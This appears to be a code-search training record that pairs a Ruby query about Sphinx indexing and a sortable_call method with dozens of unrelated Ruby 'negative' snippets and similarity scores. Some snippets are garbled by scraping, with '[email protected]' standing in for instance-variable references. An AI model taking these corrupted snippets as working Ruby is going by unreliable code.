"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def range; end",
"def range; end",
"def range; end",
"def length\n @end - @start + 1\n end",
"def length\n @end - @start\n end",
"def start_num\n return @start_num\n end",
"def length\r\n return self.stop - self.start + 1\r\n end",
"def length\n return self.stop - self.start + 1\n end",
"def length\n return self.stop - self.start + 1\n end",
"def size\n\t\tlast - first + (exclude_end? ? 0 : 1)\n\tend",
"def count()\n return @i\n end",
"def m_range\r\n end",
"def offset; end",
"def offset; end",
"def offset; end",
"def num; end",
"def num; end",
"def size\n @range.size\n end",
"def ig\n\t\tig_ind.reduce(0, :+)/ig_ind.size\n\tend",
"def Integer(p0) end",
"def begin_pos; end",
"def length\n stop - start + 1 unless coverage == 0\n end",
"def size()\r\n\t\tif num1 != nil\r\n\t\t\tif signo1 != nil\r\n\t\t\t\tif signo2 != nil\r\n\t\t\t\t\treturn [email protected]_s().to_i()[email protected]_s().to_i() + 1\r\n\t\t\t\telse\r\n\t\t\t\t\treturn @num2.valor.to_s().to_i()[email protected]_s().to_i() + 1\r\n\t\t\t\tend\r\n\t\t\telsif signo2 != nil\r\n\t\t\t\treturn [email protected]_s().to_i()[email protected]_s().to_i() + 1\r\n\t\t\telse\r\n\t\t\t\treturn @num2.valor.to_s().to_i()[email protected]_s().to_i()\t+ 1\r\n\t\t\tend\r\n\t\tend\t\r\n\tend",
"def outidx\n @index_range.begin\n end",
"def get_integer_value\n\t\tend",
"def num()\n\t\treturn @num\n\tend",
"def to_i()\n #This is a stub, used for indexing\n end",
"def end; self.begin + self.size - 1; end",
"def length()\n #This is a stub, used for indexing\n end",
"def number_of_values\n Integer((@upper - @lower) / @step) + 1\n end",
"def span\r\n if @range.none?\r\n 0\r\n else\r\n @range.max - @range.min + 1\r\n end\r\n end",
"def to_i()\n #This is a stub, used for indexing\n end",
"def total\n 2**64 - 1\n end",
"def starting_position; end",
"def length()\n #This is a stub, used for indexing\n end",
"def last_i\n size - 1\n end",
"def number_returned; 0; end",
"def block_count; @data[17].to_i; end",
"def count; @value.size; end",
"def number_indents\n 0\n end",
"def total_set\n @field.each_byte.inject(0) { |a, byte| (a += 1; byte &= byte - 1) while byte > 0 ; a }\n end",
"def zero_or_more\n -1\n end",
"def sequence_number; end",
"def range_start; range.first; end",
"def length() end",
"def length() end",
"def length() end",
"def length() end",
"def count; end",
"def count; end",
"def count; end",
"def range\n @range ||= 0.upto(@limit)\n end",
"def to_i(start = 0, rel_to = nil)\n if rel_to == :self\n 0\n else\n @address - rel_to.to_i + (@reloc ? start : 0)\n end unless dummy?\n end",
"def seuil()\n\t\treturn 0\n\tend",
"def number_counting_seq(n)\r\n\r\nend",
"def begin_pos=(_); end",
"def y(from = 0)\n self[1,2].to_i - 1 + from\n end",
"def end_result_number\n start_result_number + (results.size) - 1\n end",
"def min\n @range.begin\n end",
"def size\n last - first\n end",
"def length\n length = 0; each {length += 1}; length\n end",
"def range(input); end",
"def range_correct_index at\n index = at\n index = self.length + at if at < 0\n raise \"index must be positive , not #{at}\" if (index <= 0)\n raise \"index too large #{at} > #{self.length}\" if (index > self.length)\n return index\n end",
"def to_i\n\t\t\t(a1.to_i << 96) + (a2.to_i << 64) + (a3.to_i << 32) + a4.to_i\n\t\tend",
"def number; end",
"def number; end",
"def ntCount\n return @ntIndex.length\n end",
"def length_in(range)\n (self & range)&.length || 0\n end",
"def begin(p0) end",
"def begin\n empty? ? 0 : first.begin\n end",
"def sign_count; end",
"def n\n x.size\n end",
"def length; count end",
"def sum; end",
"def lengthOfSequence(element)\n\nend",
"def length\n @count\n end",
"def length(start_t, end_t, geores)\n return do_length(start_t, end_t, geores)\n end",
"def count=(_arg0); end",
"def current_length; end",
"def to_int() end",
"def to_int() end",
"def size() end",
"def size() end",
"def size() end",
"def size() end",
"def size() end",
"def size() end",
"def to_int\n end",
"def ndp_sum=(i); typecast i; end",
"def bc_count\n \[email protected] + @initial.size + @final.size + @cyclic.size\n end",
"def length\n reduce(0) {|sum,_| sum + 1 }\n end",
"def length; end",
"def length; end",
"def length; end",
"def length; end",
"def length; end",
"def length; end",
"def length; end",
"def getNbRecompense\n return 0\n end",
"def upper_bound; end",
"def size_from_range(range)\n size = range.end - range.begin + 1\n raise NegativeRangeSpan, \"The resulting size for range #{range} is negative\" if size < 0\n size\n end"
] |
[
"0.68839365",
"0.68839365",
"0.68839365",
"0.6832226",
"0.6770915",
"0.65820575",
"0.6458765",
"0.64062536",
"0.64062536",
"0.6389018",
"0.6268534",
"0.62334067",
"0.61995095",
"0.61995095",
"0.61995095",
"0.6191786",
"0.6191786",
"0.6191563",
"0.6190707",
"0.61641645",
"0.61553586",
"0.61267126",
"0.6125403",
"0.60952806",
"0.6085276",
"0.6065244",
"0.6047411",
"0.6043025",
"0.6020434",
"0.600915",
"0.60025835",
"0.59879714",
"0.59836364",
"0.59807193",
"0.5980499",
"0.59706044",
"0.59556824",
"0.5949657",
"0.5945405",
"0.5942585",
"0.5941379",
"0.59285784",
"0.58926475",
"0.58844113",
"0.5877592",
"0.5877592",
"0.5877592",
"0.5877592",
"0.58666134",
"0.58666134",
"0.58666134",
"0.5866053",
"0.58639216",
"0.58622646",
"0.5836902",
"0.5834981",
"0.5828989",
"0.5825883",
"0.58251923",
"0.58213437",
"0.5805815",
"0.5799385",
"0.57860255",
"0.5778401",
"0.57703763",
"0.57703763",
"0.5769836",
"0.57683045",
"0.57671595",
"0.57573825",
"0.5757143",
"0.57537645",
"0.574803",
"0.57462865",
"0.5739271",
"0.57357603",
"0.57309836",
"0.5730078",
"0.5729926",
"0.5729287",
"0.5729287",
"0.5725265",
"0.5725265",
"0.5725265",
"0.5725265",
"0.5725265",
"0.5725265",
"0.57225573",
"0.5721215",
"0.5705846",
"0.57051116",
"0.5704157",
"0.5704157",
"0.5704157",
"0.5704157",
"0.5704157",
"0.5704157",
"0.5704157",
"0.5696494",
"0.56956005",
"0.56892717"
] |
0.0
|
-1
|
define_index do indexes title, :sortable => true indexes author indexes editor indexes publisher.name, :as => :publisher, :sortable => true indexes author.name, :as => :author, :sortable => true indexes call1 indexes call2 indexes call3 indexes call4 attributes has publisher_id, created_at, updated_at, isbn end
|
def sortable_call
[self.call1, self.call2, self.call3, self.call4].map{|c| (c||"").gsub(/([0-9.]+)/, ' \1 ').split(" ").map{|s| s =~ /^[0-9.]+$/ ? s.to_f : s} }
[self.call1, (self.call2 =~ /^[0-9.]+$/ ? self.call2.to_f : self.call2) ] + "#{self.call3}#{self.call4}".gsub(/[^a-zA-Z.0-9]/,'').gsub(/([0-9.]+)/, ' \1 ').split(" ") # .map{|s| s =~ /^[0-9.]+$/ ? s.to_f : s}
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def construct_index\n end",
"def add_index_field(*) super end",
"def build_index(params)\n index = Algolia::Index.new(self.subdomain)\n\n params.each do |tablename, getters|\n klass = Object.const_get(tablename.to_s.classify)\n\n klass.all.each do |record|\n object_params = {\"tablename\" => record.class.table_name,\n \"url\" => \"/#{self.class.table_name}/#{self.id}\"}\n\n getters.each{|getter| object_params[getter.to_s] = record.send(getter)}\n\n index.add_object(object_params)\n end\n end\n end",
"def index_signature; end",
"def index_on( field, opts={} )\n opts = Gnash.new( opts )\n design_document(true).add!( opts.merge!(:name => field) )\n unless indexes.include?( field )\n indexes << field.to_sym \n indexes << field.to_s \n end \n self \n end",
"def index\n\n # ar = Array.new\n # c = ActiveRecord::Base.connection\n # c.tables.collect do |t| \n # columns = c.columns(t).collect(&:name).select {|x| x.ends_with?(\"_id\" || x.ends_with(\"_type\"))}\n # indexed_columns = c.indexes(t).collect(&:columns).flatten.uniq\n # unindexed = columns - indexed_columns\n # unless unindexed.empty?\n # ar.push(\"#{t}: #{unindexed.join(\", \")}\")\n # end\n # end\n # render text: ar\n \n gon.publisher_product_id = 0\n \n publisher_user = current_user.publisher_user\n @publisher_id = publisher_user.publisher.id\n publisher = Publisher.find_by_id(@publisher_id)\n \n publisher = publisher_user.publisher\n \n # @publisher_products = PublisherProduct.where(\"publisher_id = ?\", @publisher_id).order(sort_column + \" \" + sort_direction) # .paginate(:per_page => 200, :page => params[:page])\n \n @publisher_products = current_user.publisher.publisher_products.order(sort_column + \" \" + sort_direction)\n \n @from_ages = return_all_dtab8lets\n @to_ages = return_all_dtab8lets\n \n \n end",
"def create_search_index\n #Notice the assoction on article.user.id\n TaggyMcFaggy.create_index :attribute_namespace => :article_text,\n :document_id => id,\n :words => text_content,\n :association => user.id\n \n end",
"def build_index\n reset @store.all_files.sort, @store.all_classes_and_modules.sort\n\n index_classes\n index_methods\n index_pages\n\n { :index => @index }\n end",
"def define_index_args(query, args)\n args = { controller: :observations,\n action: :index,\n matrix: true,\n include: [:name, :location, :user, :rss_log,\n { thumb_image: :image_votes }] }.merge(args)\n\n # Add some alternate sorting criteria.\n links = [\n [\"name\", :sort_by_name.t],\n [\"date\", :sort_by_date.t],\n [\"user\", :sort_by_user.t],\n [\"created_at\", :sort_by_posted.t],\n [(query.flavor == :by_rss_log ? \"rss_log\" : \"updated_at\"),\n :sort_by_updated_at.t],\n [\"confidence\", :sort_by_confidence.t],\n [\"thumbnail_quality\", :sort_by_thumbnail_quality.t],\n [\"num_views\", :sort_by_num_views.t]\n ]\n args[:sorting_links] = links\n\n # Paginate by letter if sorting by user.\n case query.params[:by]\n when \"user\", \"reverse_user\"\n args[:letters] = \"users.login\"\n # Paginate by letter if sorting by name.\n when \"name\", \"reverse_name\"\n args[:letters] = \"names.sort_name\"\n end\n args\n end",
"def generate_author_year_index\n @author_year_index = Taxonifi::Model::AuthorYear.new(people: @authors, year: @year).compact_index\n end",
"def index\n set_index\n end",
"def index_data(*models)\n if models.nil? || models.empty?\n only_index = @indexed_models\n else\n only_index = models.collect{|m| m.to_s}\n end \n \n Mebla.log(\"Indexing #{only_index.join(\", \")}\", :debug)\n \n # Build up a bulk query to save processing and time\n bulk_query = \"\"\n # Keep track of indexed documents\n indexed_count = {}\n \n # Create the index\n if create_index\n # Start collecting documents\n only_index.each do |model|\n Mebla.log(\"Indexing: #{model}\")\n # Get the class\n to_index = model.camelize.constantize\n \n # Get the records \n entries = []\n unless to_index.embedded?\n if to_index.sub_class?\n entries = to_index.any_in(:_type => [to_index.name])\n else \n entries = to_index.any_in(:_type => [nil, to_index.name])\n end\n else\n parent = to_index.embedded_parent\n access_method = to_index.embedded_as\n \n parent.all.each do |parent_record|\n if to_index.sub_class?\n entries += parent_record.send(access_method.to_sym).any_in(:_type => [to_index.name])\n else\n entries += parent_record.send(access_method.to_sym).any_in(:_type => [nil, to_index.name])\n end\n end\n end\n \n # Save the number of entries to be indexed\n indexed_count[model] = entries.count \n \n # Build the queries for this model \n entries.each do |document|\n attrs = {} #document.attributes.dup # make sure we dont modify the document it self\n attrs[:id] = document.attributes[\"_id\"] # the id is already added in the meta data of the action part of the query\n \n # only index search fields and methods\n document.class.search_fields.each do |field|\n if document.attributes.keys.include?(field.to_s)\n attrs[field] = document.attributes[field.to_s] # attribute\n else\n attrs[field] = document.send(field) # method\n end\n end\n \n # index relational fields\n document.class.search_relations.each do |relation, fields| \n items = document.send(relation.to_sym) # get the relation document\n \n next if items.nil?\n \n # N relation side\n if items.is_a?(Array) || items.is_a?(Mongoid::Relations::Targets::Enumerable)\n next if items.empty?\n attrs[relation] = []\n items.each do |item|\n if fields.is_a?(Array) # given multiple fields to index\n fields_values = {}\n fields.each do |field|\n if item.attributes.keys.include?(field.to_s)\n fields_values.merge!({ field => item.attributes[field.to_s] }) # attribute\n else\n fields_values.merge!({ field => item.send(field) }) # method\n end\n end\n attrs[relation] << fields_values\n else # only index one field in the relation\n if item.attributes.keys.include?(fields.to_s)\n attrs[relation] << { fields => item.attributes[fields.to_s] } # attribute\n else\n attrs[relation] << { fields => item.send(fields) } # method\n end\n end\n end\n # 1 relation side\n else\n attrs[relation] = {}\n if fields.is_a?(Array) # given multiple fields to index\n fields_values = {}\n fields.each do |field|\n if items.attributes.keys.include?(field.to_s)\n fields_values.merge!({ field => items.attributes[field.to_s] }) # attribute\n else\n fields_values.merge!({ field => items.send(field) }) # method\n end\n end\n attrs[relation].merge!(fields_values)\n else # only index one field in the relation\n if items.attributes.keys.include?(fields.to_s)\n attrs[relation].merge!({ fields => items.attributes[fields.to_s] }) # attribute\n else\n attrs[relation].merge!({ fields => items.send(fields) }) # method\n end\n end\n end\n end \n \n # If embedded get the parent id\n if document.embedded?\n parent_id = document.send(document.class.embedded_parent_foreign_key.to_sym).id.to_s \n attrs[(document.class.embedded_parent_foreign_key + \"_id\").to_sym] = parent_id\n attrs[:_parent] = parent_id\n \n # Build add to the bulk query\n bulk_query << build_bulk_query(@slingshot_index_name, to_index.slingshot_type_name, document.id.to_s, attrs, parent_id)\n else\n # Build add to the bulk query\n bulk_query << build_bulk_query(@slingshot_index_name, to_index.slingshot_type_name, document.id.to_s, attrs)\n end\n end\n end\n else\n raise Mebla::Errors::MeblaIndexException.new(\"Could not create #{@slingshot_index_name}!!!\")\n end \n \n Mebla.log(\"Bulk indexing:\\n#{bulk_query}\", :debug) \n \n # Send the query\n response = Slingshot::Configuration.client.post \"#{Mebla::Configuration.instance.url}/_bulk\", bulk_query\n \n # Only refresh the index if no error ocurred\n unless response =~ /error/ \n # Log results\n Mebla.log(\"Indexed #{only_index.count} model(s) to #{self.slingshot_index_name}: #{response}\")\n Mebla.log(\"Indexing Report:\")\n indexed_count.each do |model_name, count|\n Mebla.log(\"Indexed #{model_name}: #{count} document(s)\")\n end\n \n # Refresh the index\n refresh_index\n else\n raise Mebla::Errors::MeblaIndexException.new(\"Indexing #{only_index.join(\", \")} failed with the following response:\\n #{response}\")\n end\n rescue RestClient::Exception => error\n raise Mebla::Errors::MeblaIndexException.new(\"Indexing #{only_index.join(\", \")} failed with the following error: #{error.message}\")\n end",
"def index\r\n build_index unless @index\r\n @index\r\n end",
"def index_name_description # :nologin: :norobots:\n query = find_or_create_query(:NameDescription, :by => params[:by])\n show_selected_name_descriptions(query, :id => params[:id].to_s,\n :always_index => true)\n end",
"def index\n @q = Author.ransack(params[:q])\n \n # The sortable_name field gives the last name downcased with \"ae\" etc substituted for umlauted vowels\n @authors = @q.result.paginate(:page => params[:page], :per_page => 14).order(sortable_name: :asc, firstnames: :asc)\n end",
"def index_definition_sql(table_name, index)\n\t raise Error, \"Partial indexes are not supported for this database\" if index[:where]\n\n\t # Basic index creation DDL.\n\t sql = [\"CREATE\"]\n\t case index[:type]\n\t when :bitmap\n\t\t raise Error, \"Bitmap indexes cannot be unique\" if index[:unique]\n\t sql << 'BITMAP'\n\t when NilClass, :normal\n\t sql << 'UNIQUE' if index[:unique]\n\t else\n\t raise Error, \"Index type #{index[:type].inspect} is not supported for this database\"\n\t end\n\t index_name = index[:name] || default_index_name(table_name, index[:columns])\n\t qualified_table_name = quote_schema_table table_name\n\t sql << \"INDEX #{quote_identifier(index_name)} ON #{qualified_table_name}\"\n\t \n\t # Index columns and join indexes.\n index_join, index_columns = *index.values_at(:join,:columns)\n\t sql << literal(index_columns)\n if index_join\n\t\t raise Error, \"Join clauses are only supported for bitmap indexes\" if index[:type]!=:bitmap\n\t\t sql << \"FROM #{qualified_table_name},\"\n\t\t sql << index_columns.map{|k| quote_identifier schema_and_table(k).first }.uniq.join(', ')\n\t\t \n\t\t # TODO: Document this short-hand syntax: {:columns=>[:ref_table__ref_column], :join=>[:fk_column]}\n if Array===index_join and index_join.length==index_columns.length and index_join.all?{|k| Symbol===k}\n index_join = Hash[ index_join.map{|k| :\"#{table_name}__#{k}\" }.zip(index_columns) ]\n end\n\n\t sql << \"WHERE #{filter_expr(index_join)}\"\n\t end\n\t \n\t # Index attributes and options.\n\t sql << 'LOCAL' if index[:partitioned]\n\t sql << flag_option_sql(index, :parallel)\n\t sql << flag_option_sql(index, :logging)\n\t sql << \"TABLESPACE #{quote_identifier(index[:tablespace])}\" if index[:tablespace]\n\t sql << flag_option_sql(index, :visible, 'INVISIBLE')\n\t sql << compress_option_sql(index)\n\t sql << index[:options] if String === index[:options]\n\t sql << 'UNUSABLE' if FalseClass === index[:valid]\n\t sql.compact.join ' '\n\t end",
"def index\n conditions = { :block => false }\n conditions.merge!( :is_opinion => true ) if params[:opinion] == '1'\n conditions.merge!( :is_agency => true ) if params[:agency] == '1'\n unless params[:author_id].blank? && params[:author_ids].blank?\n author_ids = scan_multiple_value_param( :author_id, :first ) || scan_multiple_value_param( :author_ids )\n conditions.merge!( :id => author_ids )\n end\n params[:top] == '1' ? top() : ( !params[:q].blank? ? search( conditions ) : list( conditions ) )\n @authors.delete_if{ |a| a.story_authors.count < 2 } if params[:cf] == '1'\n rxml_data( @authors, :root => 'authors', :with_pagination => true )\n end",
"def index\n set_index_posts\n end",
"def indexed\n meta(index: true)\n end",
"def generate_author_year_index\n @author_year_index = Taxonifi::Model::AuthorYear.new(people: @authors, year: @year).compact_index\n end",
"def index\n default_q = {\n name_not_cont_all: (1..9).to_a.map { |i| [\"(#{i})\", \"(#{i})\", \"(0#{i})\", \"(0#{i})\"] }.flatten,\n press_not_cont_all: %w(東立 九星文化出版社 台灣角川股份有限公司 旺福圖書 N/A 銘顯文化事業有限公司 上海譯文出版社 明日工作室股份有限公司 橘子 十田十 青文出版社股份有限公司 尖端出版 龍吟ROSE 台灣東販股份有限公司 桔子),\n rate_gt: 4.5\n }\n @q = Book.enabled.ransack(params[:q])\n @books = params[:q] ? @q.result(distinct: true).page(params[:page]) :\n Book.enabled.ransack(default_q).result.page(params[:page]).order(publish_at: :desc)\n end",
"def index(data_path, db_path)\n db = Xapian::WritableDatabase.new(db_path, Xapian::DB_CREATE_OR_OPEN)\n term_generator = Xapian::TermGenerator.new\n term_generator.stemmer = Xapian::Stem.new('en')\n parse_csv_file(data_path).each do |row|\n doc = Xapian::Document.new\n term_generator.document = doc\n term_generator.index_text(row['TITLE'].to_s, 1, 'S')\n term_generator.index_text(row['DESCRIPTION'].to_s, 1, 'XD')\n term_generator.index_text(row['TITLE'].to_s)\n term_generator.increase_termpos\n term_generator.index_text(row['DESCRIPTION'].to_s)\n\n ### Start of new indexing code.\n # Index the MATERIALS field, splitting on semicolons.\n row['MATERIALS'].to_s.split(';').each do |material|\n material.strip!\n material.downcase!\n doc.add_boolean_term(\"XM#{material}\") if material.length.positive?\n end\n ### End of new indexing code.\n\n doc.data = row.to_h.to_json\n idterm = \"Q#{row['id_NUMBER']}\"\n doc.add_boolean_term(idterm)\n db.replace_document(idterm, doc)\n end\nend",
"def index_fields\n\t\t\tif defined? @_index_fields\n\t\t\t\t@_index_fields\n\t\t\telse\n\t\t\t\t#column_names = self.column_names.map do |m|\n\t\t\t\t\t#m.to_sym\n\t\t\t\t#end\n\t\t\t\tsorted_attributes\n\t\t\t# \tsorted_attrs + (column_names - sorted_attrs - [\"created_at\", \"updated_at\", \"id\"])\n\t\t\tend\n\t\tend",
"def index\n @search = Author.search(params[:q])\n @authors = @search.result\n @search.build_condition if @search.conditions.empty?\n @search.build_sort if @search.sorts.empty?\n end",
"def generate_text_sql\n ThinkingSphinx.context.indexed_models.each do |model|\n model = model.constantize\n model.define_indexes\n model.sphinx_indexes.each do |idx|\n idx.sources.each do |src|\n puts \"#{model.to_s} SQL => \"\n puts src.to_sql\n end\n end\n end\nend",
"def index\n set_meta_tags noindex: true\n\n @articles = initialize_grid(Article,\n order: 'articles.created_at',\n order_direction: 'desc',\n )\n end",
"def index ; @index ; end",
"def build_index!\n puts \"build_index!\"\n @indexes = {}\n \n @indexes = @resource_class.build_indexes(@resources)\n @indexes[:_default] ||= @default_order\n end",
"def index\n #search query, check params for search then search by appropriate fields\n @q = Entry.all\n @author_id = params[:search][:author_id] if params[:search]\n @text = params[:search][:text] if params[:search]\n @q = Entry.search(@q, @text) if [email protected]?\n @q = @q.where(author_id: params[:search][:author_id]) if !@author_id.blank?\n\n #final result and column toggle sort\n @entries = @q.paginate(:page => params[:page], :per_page => 30).includes(:author).order(sort_column + \" \" + sort_direction)\n end",
"def build_index!(&block)\n entries_added = do_build_index(&block) unless built?\n\n #make the hash from abbreviated parts of speech to full definitions\n @pos_hash ||= build_pos_hash\n\n entries_added\n end",
"def biodiversity_index(specimens)\nend",
"def biodiversity_index(specimens)\nend",
"def ta_index\n end",
"def build_indexes\n Schema::Physical::Indexes.new\n end",
"def set_index\n # binding.pry\n @alpha = params[:alpha]\n if @alpha.nil? \n @alpha = \"A\"\n end\n if @alpha == 'num'\n @alpha = \"#\"\n srch = ['sort_title ~* ?', \"^\\\\d+\"]\n \n else\n srch = [\"title LIKE ? or title LIKE ?\", \"#{@alpha}%\", \"The #{@alpha}%\"]\n end\n\n @shows=Show.approved.includes(:episodes).where(srch).order(:sort_title)\n\n \n end",
"def index \n @filter = params[:filter] || \"order_by_title\"\n @books = Book.send(@filter) # Filter book index based on a filter param - default is order by title\n end",
"def setting_index\n end",
"def add_indexes\n if hereditary? && !index_options[{ _type: 1 }]\n index({ _type: 1 }, { unique: false, background: true })\n end\n true\n end",
"def create_search_index\n Tire.index self.index_name\n end",
"def index_information\n @db.index_information(@name)\n end",
"def business_indices(*args)\n end",
"def create_index( index_name, sort_by_proc = nil, & indexing_block )\n \n return create_bucket_index( index_name, false, sort_by_proc, & indexing_block )\n \n end",
"def index\n @publications = Publication.all.order(:pub_name)\n end",
"def index\n order = params[:sort] || 'published_date'\n order = 'order_count' if order == 'popularity'\n\n @q = Book.order(order).ransack(params[:q])\n\n @books = @q.result.page params[:page]\n end",
"def index\n @publishers = Publisher.joins(:resource,:resource => :site).select(\n \"publishers.id as publisher_id, \n publishers.hostname as publisher_hostname,\n sites.name as site_name,resources.name as resource_name, \n publishers.ip as publisher_ip, publishers.token as publisher_token\").paginate( :page=>params[:page], :per_page => config.itemsPerPageHTML).orderByParms('publisher_hostname',params).search(params[:key],params[:search])\n respond_to do |format|\n format.html {}\n format.any(:xml,:json) {}\n end\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @publishers }\n format.xml { render :xml => @publishers }\n end\n end",
"def index\n q_param = params[:q] || {}\n page = params[:page]\n per_page = params[:per_page]\n @q = policy_scope(BggPublisher).ransack q_param\n @q.sorts = 'name asc' if @q.sorts.empty?\n @bgg_publishers = @q.result(distinct: true).page(page).per(per_page).decorate\n end",
"def indexes(table_name, name = nil)\n result = query(<<-SQL, 'SCHEMA')\n SELECT distinct i.relname, d.indisunique, d.indkey, pg_get_indexdef(d.indexrelid), t.oid\n FROM pg_class t\n INNER JOIN pg_index d ON t.oid = d.indrelid\n INNER JOIN pg_class i ON d.indexrelid = i.oid\n WHERE i.relkind = 'i'\n AND d.indisprimary = 'f'\n AND t.relname = '#{table_name}'\n AND i.relnamespace IN (SELECT oid FROM pg_namespace WHERE nspname = ANY (current_schemas(false)) )\n ORDER BY i.relname\n SQL\n\n result.map do |row|\n index_name = row[0]\n unique = row[1] == 't'\n indkey = row[2].split(\" \")\n inddef = row[3]\n oid = row[4]\n\n columns = query(<<-SQL, \"SCHEMA\")\n SELECT a.attnum, a.attname, t.typname\n FROM pg_attribute a, pg_type t\n WHERE a.attrelid = #{oid}\n AND a.attnum IN (#{indkey.join(\",\")})\n AND a.atttypid = t.oid\n SQL\n columns = columns.inject({}){ |h, r| h[r[0].to_s] = [r[1], r[2]]; h }\n column_names = columns.values_at(*indkey).compact.map{ |a| a[0] }\n\n unless column_names.empty?\n # add info on sort order for columns (only desc order is explicitly specified, asc is the default)\n desc_order_columns = inddef.scan(/(\\w+) DESC/).flatten\n orders = desc_order_columns.any? ? Hash[desc_order_columns.map {|order_column| [order_column, :desc]}] : {}\n where = inddef.scan(/WHERE (.+)$/).flatten[0]\n # using = inddef.scan(/USING (.+?) /).flatten[0].to_sym\n\n spatial = inddef =~ /using\\s+gist/i &&\n columns.size == 1 &&\n %w[geometry geography].include?(columns.values.first[1])\n\n # IndexDefinition.new(table_name, index_name, unique, column_names, [], orders, where, nil, using)\n ::RGeo::ActiveRecord::SpatialIndexDefinition.new(table_name, index_name, unique, column_names, [], orders, where, !!spatial)\n end\n end.compact\n end",
"def indexes(*rest) end",
"def indexes(*rest) end",
"def index; @index; end",
"def index_information\n @db.index_information(@name)\n end",
"def as_index_document()\n doc = {'format'=>'Node', 'title'=> title, 'id' => persistent_id, 'version'=>id, 'model' => model.id, 'model_name' => model.name, 'pool' => pool_id}\n doc.merge!(solr_attributes)\n doc.merge!(solr_associations)\n doc\n end",
"def index_csv(data_path, db_path)\n db = Xapian::WritableDatabase.new(db_path, Xapian::DB_CREATE_OR_OPEN)\n term_generator = Xapian::TermGenerator.new\n term_generator.stemmer = Xapian::Stem.new('en')\n parse_csv_file(data_path).each do |row|\n doc = Xapian::Document.new\n term_generator.document = doc\n term_generator.index_text(row['TITLE'].to_s, 1, 'S')\n term_generator.index_text(row['DESCRIPTION'].to_s, 1, 'XD')\n term_generator.index_text(row['TITLE'].to_s)\n term_generator.increase_termpos\n term_generator.index_text(row['DESCRIPTION'].to_s)\n doc.data = row.to_h.to_json\n idterm = \"Q#{row['id_NUMBER']}\"\n doc.add_boolean_term(idterm)\n db.replace_document(idterm, doc)\n end\nend",
"def tax_index\n\n end",
"def author_index\n @comments.authors.index(author)\n end",
"def index_relations(exclude_relations: []); end",
"def index\n\t\t#puts \"Index, line \" + \"8\"\n\t\tif params[:authors]\n\t\t\n\t\t\t@authors = true\n\t\t\treg = '^' + params[:authors]\n\t\t\tregex = Regexp.new reg\n\t\t\t@cursor = ssl.find({\"pretty_name\"=>regex}).sort(\"pretty_name\")\n\t\t\t@docs = []\n\t\t\tstart = params[:page].to_i * 20 \n\t\t\tcurr = \"\"\n\t\t\tentries = []\n\t\t\[email protected](start).first(21).each do |d|\n\t\t\t\tif not curr == d['pretty_name'] and not curr == \"\"\n\t\t\t\t\tdoc = {:name => d['pretty_name'], :entries => entries, :id => d['id']}\n\t\t\t\t\tentries = []\n\t\t\t\t\t@docs << doc\t\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tentry = {:title => d['title'], :id => d['id']}\n\t\t\t\tentries.push(entry)\n\t\t\t\tcurr = d['pretty_name']\n\n\t\t\tend\n\n\t\t\t@dpag = Kaminari.paginate_array(@docs).page(1).per(@docs.length-1)\n\n\t\telse\n\t\t\t# DEAL with KW: \n\t\t\t# OR 1. get top level kws separately (Y)\n\t\t\t# \t 2. its children: get everything that is kid = .../{#name}[\\/]([^\\/]*)/ (Y)\n\t\t\t# 3. put all the kids in an array (Y)\n\t\t\t# 4. make sure unique and display them in kws area\n\t\t\t# @kwpath = params[:kwpath] # BUG: kwpath sometimes work sometimes does not.\n\n\t\t\tif params[:kw].nil?\n\t\t\t\tkws = []\n\t\t\t\tparent = \"\"\n\t\t\t\tkw_docs = ssl_keywords.find(\"parent\"=> \"Everything\")\n\t\t\t\tkw_docs.each do |d|\n\t\t\t\t\tkws << d[\"name\"]\n\t\t\t\tend \n\t\t else\n\n\t\t \t# 1. e.g. kw = Democracy\n\t\t parent = params[:kw] \n\t\t reg = /#{Regexp.quote(parent)}/\n\t\t # 2. all docs whose paths have \"Democracy\"\n\t\t # can also use ssl.find(\"sslbrowsepath\"=>reg) but much slower\n\t\t\t\tkw_docs = ssl_keywords.find(\"path\"=> reg) \n\t\t\t\t# 3. get those paths\n\t\t\t\tkws_paths = []\n\t\t\t\tkw_docs.each do |d|\t\t\t\t\t\t \n\t\t\t\t\tkws_paths << d[\"path\"]\n\t\t\t\tend\n\t\t\t\t# 4. get all direct children\n\t\t\t\tkws = []\n\t\t\t\tkws_paths.each do |p| \n\t\t\t\t\tmatch = p.strip().match(/#{Regexp.quote(parent)}[\\/]+([^\\/]+)/) \n\t\t\t\t\tkw = match[1] if match\n\t\t\t\t\tif !kw.nil? # BUG: The weird behavior when kw=\"\"\n\t\t\t\t\t\tkws << kw.strip()\n\t\t\t\t\tend \n\t\t\t\tend \n\t\t\t\t# 5. all unique direct children\n\t\t\t\tkws = kws.uniq \n\t\t\tend\n\n\t\t\t@kwpag = kws # TODO: fix pagination and format \n\n\t\t\t# DEAL with SSL:\n\t\t\t# OR REGEX that certain word in the path: db.categories.find( { path: /,Programming,/ } )\n\t\t\t# rgex = Regexp.new(parent)\n\t\t\t# @cursor = ssl.find( {\"sslbrowsepath\" => rgex} everybody whose path has the \"name\"\n\n\t\t\treg = /#{Regexp.quote(parent)}/\n\t\t\tflts = filters\n\t\t\tflts[\"sslbrowsepath\"] = reg\n\n\t\t\t@cursor = ssl.find(flts).sort(sorted_by) \n\t\t\t@count = @cursor.count()\n\t\t\t@docs = []\n\t\t\tstart = params[:page].to_i * 20 \n\t\t\[email protected](start).first(21).each do |d|\n\t\t\t\t@docs << d\n\t\t\tend\n\t\t\t@dpag = Kaminari.paginate_array(@docs).page(1).per(20) #BUG: count and the actual number of articles displayed not same\n\t\tend\n\t\t\n\tend",
"def as_indexed_json(_options)\n as_json(\n methods: [:vendor_name, :subject_search_index, :rss_search_index, :curated_search_index, :published, :keywords],\n only: [:id, :name, :vendor_name, :description, :title_search, :keywords]\n )\n end",
"def index\n @companies = Company.rank.where(\"tweet_count > 0\").page(params[:page]).per(30)\n @main_indices = MainIndex.all\n end",
"def generate_index tab_name, argv\n\t\tquery = \" CREATE INDEX #{argv[argv.keys[0]]} ON #{tab_name} (#{argv[argv.keys[1]]}) \"\n\t\tputs query\n\t\treturn query\n\tend",
